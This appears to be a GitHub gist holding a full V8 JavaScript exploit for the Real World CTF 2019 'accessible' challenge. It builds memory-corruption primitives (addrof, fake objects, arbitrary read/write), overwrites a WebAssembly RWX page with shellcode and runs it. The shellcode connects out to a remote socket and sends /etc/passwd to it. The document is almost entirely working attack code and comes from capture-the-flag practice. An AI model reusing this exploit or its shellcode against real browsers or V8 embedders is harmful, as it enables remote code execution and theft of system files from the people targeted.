Skip to content

Instantly share code, notes, and snippets.

@thetlk
Created September 16, 2019 12:21
Show Gist options
  • Save thetlk/3974805e839d4e505336bb449c8e00c8 to your computer and use it in GitHub Desktop.
Save thetlk/3974805e839d4e505336bb449c8e00c8 to your computer and use it in GitHub Desktop.
realworldctf2019 accessible v8 exploit
let ab = new ArrayBuffer(8);
let fv = new Float64Array(ab);
let dv = new BigUint64Array(ab);
let f2i = (f) => {
fv[0] = f;
return dv[0];
}
let i2f = (i) => {
dv[0] = BigInt(i);
return fv[0];
}
var addrof_prepared = false;
var mat_prepared = false;
var rw_prepared = false;
var ControlledArrayBuffer = new ArrayBuffer(16);
var FakeArrayBuffer = null;
var BigUintFakeArrayBuffer = null;
function leakme(obj) {
return obj.prop1.x1;
}
function prepare_addrof() {
var obj = {};
Object.defineProperty(obj, 'prop1', {
writable: true,
configurable: true,
value: {x1: 13.37, x2: 13.38}
});
for(let i=0; i<100000; i++) {
leakme(obj);
}
// %PrepareFunctionForOptimization(leakme);
// leakme(obj);
// %OptimizeFunctionOnNextCall(leakme);
// leakme(obj);
}
function addrof(toleak) {
if(!addrof_prepared) {
prepare_addrof();
addrof_prepared = true;
}
var obj = {};
Object.defineProperty(obj, 'prop1', {
writable: true,
configurable: true,
value: {x1: 13.37, x2: 13.38}
});
obj.prop1 = {x1: toleak};
return leakme(obj);
}
function matme(obj) {
return obj.prop2[0];
}
function prepare_mat() {
var obj2 = {};
Object.defineProperty(obj2, 'prop2', {
writable: true,
configurable: true,
value: {x1: {}, x2: {}}
});
for(let i=0; i<100000; i++) {
matme(obj2);
}
// %PrepareFunctionForOptimization(matme);
// matme(obj2);
// %OptimizeFunctionOnNextCall(matme);
// matme(obj2);
}
function materialize(fake_obj) {
if(!mat_prepared) {
prepare_mat();
mat_prepared = true;
}
var obj2 = {};
Object.defineProperty(obj2, 'prop2', {
writable: true,
configurable: true,
value: {x1: {}, x2: {}}
});
obj2.prop2 = [fake_obj];
return matme(obj2);
}
function prepareReadWrite64() {
var ControlledArrayBuffer_addr = f2i(addrof(ControlledArrayBuffer));
console.log("[+] ControlledArrayBuffer_addr @ 0x" + ControlledArrayBuffer_addr.toString(16));
var a1 = [1.1,2.2,3.3,1.1,2.2,3.3,1.1,2.2,3.3,1.1,2.2,3.3,1.1,2.2,3.3,1.1,2.2,3.3,1.1,2.2,3.3,1.1,2.2,3.3,1.1,2.2,3.3];
var a2 = [1.1,2.2,i2f(0x4141414141)];
var packed_elements_array = a1.concat(a2);
// leak JsArray address
var addr = addrof(packed_elements_array);
var i_addr = f2i(addr);
console.log("[+] JsArray @ 0x" + i_addr.toString(16));
var addr_raw_array = i_addr - BigInt(0x100) + BigInt(0x10);
console.log("[+] JsArray datas @ 0x" + addr_raw_array.toString(16));
/* ArrayBuffer */
packed_elements_array[0] = i2f(addr_raw_array + BigInt(7*0x8)); /* ArrayBuffer.map */
packed_elements_array[1] = i2f(0);
packed_elements_array[2] = i2f(0);
packed_elements_array[3] = i2f(0x0000000000004000); /* ArrayBuffer.size */
packed_elements_array[4] = i2f(ControlledArrayBuffer_addr - BigInt(1) ); /* ArrayBuffer.backing_store */
packed_elements_array[5] = i2f(0x0000000000000002);
packed_elements_array[6] = i2f(0);
/* ArrayBuffer.map */
packed_elements_array[7] = i2f(addr_raw_array + BigInt(14*0x8)); /* Map.metamap */
packed_elements_array[8] = i2f(0x1900042317080808);
packed_elements_array[9] = i2f(0x00000000084003ff);
packed_elements_array[10] = i2f(0);
packed_elements_array[11] = i2f(0);
packed_elements_array[12] = i2f(0);
packed_elements_array[13] = i2f(0);
/* ArrayBuffer.map.metamap */
packed_elements_array[14] = i2f(addr_raw_array + BigInt(14*0x8));
packed_elements_array[15] = i2f(0x180000441f00000a);
packed_elements_array[16] = i2f(0x00000000004003ff);
packed_elements_array[17] = i2f(0);
packed_elements_array[18] = i2f(0);
packed_elements_array[19] = i2f(0);
packed_elements_array[20] = i2f(0);
/* ArrayBuffer.elements = FixedArray */
packed_elements_array[21] = i2f(0xcafebabe); /* backing store start marker */
/* i2f(0x4141414141) is the end marker of the "real" array */
FakeArrayBuffer = materialize(i2f(addr_raw_array));
BigUintFakeArrayBuffer = new BigUint64Array(FakeArrayBuffer);
}
function Read64(addr) {
if(!rw_prepared) {
prepareReadWrite64();
rw_prepared = true;
}
BigUintFakeArrayBuffer[3] = 0x8n; // size
BigUintFakeArrayBuffer[4] = addr; // backing_store
var BigIntControlledArrayBuffer = new BigUint64Array(ControlledArrayBuffer);
return BigIntControlledArrayBuffer[0];
}
function Write64(addr, val) {
if(!rw_prepared) {
prepareReadWrite64();
rw_prepared = true;
}
BigUintFakeArrayBuffer[3] = 0x8n; // size
BigUintFakeArrayBuffer[4] = addr; // backing_store
var BigIntControlledArrayBuffer = new BigUint64Array(ControlledArrayBuffer);
BigIntControlledArrayBuffer[0] = val;
}
function Write8(addr, val) {
if(!rw_prepared) {
prepareReadWrite64();
rw_prepared = true;
}
BigUintFakeArrayBuffer[3] = 0x8n; // size
BigUintFakeArrayBuffer[4] = addr; // backing_store
var Unint8ControllerArrayBuffer = new Uint8Array(ControlledArrayBuffer);
Unint8ControllerArrayBuffer[0] = val;
}
function GetWasmFunc() {
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer), {env: {puts: console.log}});
return m.exports.hello;
}
function GetWasmRWXPage(func) {
// from https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/
let WasmOffsets = {
shared_function_info : 3n * 0x8n,
wasm_exported_function_data : 1n * 0x8n,
wasm_instance : 2n * 0x8n,
jump_table_start : 16n * 0x8n
};
let get_pwnd_addr = f2i(addrof(func)) - 1n;
let shared_function_info = Read64(get_pwnd_addr + WasmOffsets.shared_function_info) - 1n;
let wasm_exported_function_data = Read64(shared_function_info + WasmOffsets.wasm_exported_function_data) - 1n;
let wasm_instance = Read64(wasm_exported_function_data + WasmOffsets.wasm_instance) - 1n;
let jump_table_start = Read64(wasm_instance + WasmOffsets.jump_table_start);
console.log("[+] get_pwnd_addr is @ 0x" + get_pwnd_addr.toString(16));
console.log("[+] shared_function_info is @ 0x" + shared_function_info.toString(16));
console.log("[+] wasm_exported_function_data is @ 0x" + wasm_exported_function_data.toString(16));
console.log("[+] wasm_instance is @ 0x" + wasm_instance.toString(16));
console.log("[+] jump_table_start is @ 0x" + jump_table_start.toString(16));
return jump_table_start;
}
/*
$ shellcraft amd64.linux.connect 127.0.0.1 1337 -f c && shellcraft amd64.linux.cat /etc/passwd rbp -f c
{0x6a, 0x29, 0x58, 0x6a, 0x2, 0x5f, 0x6a, 0x1, 0x5e, 0x99, 0xf, 0x5, 0x48, 0x89, 0xc5, 0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x2, 0x50, 0x48, 0xb8, 0x3, 0x1, 0x4, 0x38, 0xc1, 0xa9, 0x39, 0x3, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2a, 0x58, 0x48, 0x89, 0xef, 0x6a, 0x10, 0x5a, 0x48, 0x89, 0xe6, 0xf, 0x5}
{0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x67, 0x6d, 0x60, 0x66, 0x1, 0x1, 0x1, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x99, 0xf, 0x5, 0x41, 0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x48, 0x89, 0xef, 0x99, 0xf, 0x5}
*/
let shellcode = [
0x6a, 0x29, 0x58, 0x6a, 0x2, 0x5f, 0x6a, 0x1, 0x5e, 0x99, 0xf, 0x5, 0x48, 0x89, 0xc5, 0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x2, 0x50, 0x48, 0xb8, 0x3, 0x1, 0x4, 0x38, 0x7e, 0x1, 0x1, 0x3, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2a, 0x58, 0x48, 0x89, 0xef, 0x6a, 0x10, 0x5a, 0x48, 0x89, 0xe6, 0xf, 0x5,
0x68, 0x72, 0x76, 0x65, 0x1, 0x81, 0x34, 0x24, 0x1, 0x1, 0x1, 0x1, 0x48, 0xb8, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x50, 0x6a, 0x2, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x99, 0xf, 0x5, 0x41, 0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x48, 0x89, 0xef, 0x99, 0xf, 0x5,
0xCC
];
var get_pwnd = GetWasmFunc();
let rwx_page = GetWasmRWXPage(get_pwnd);
for(let i=0; i<shellcode.length; i++) {
Write8(rwx_page + BigInt(i), shellcode[i]);
}
get_pwnd();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment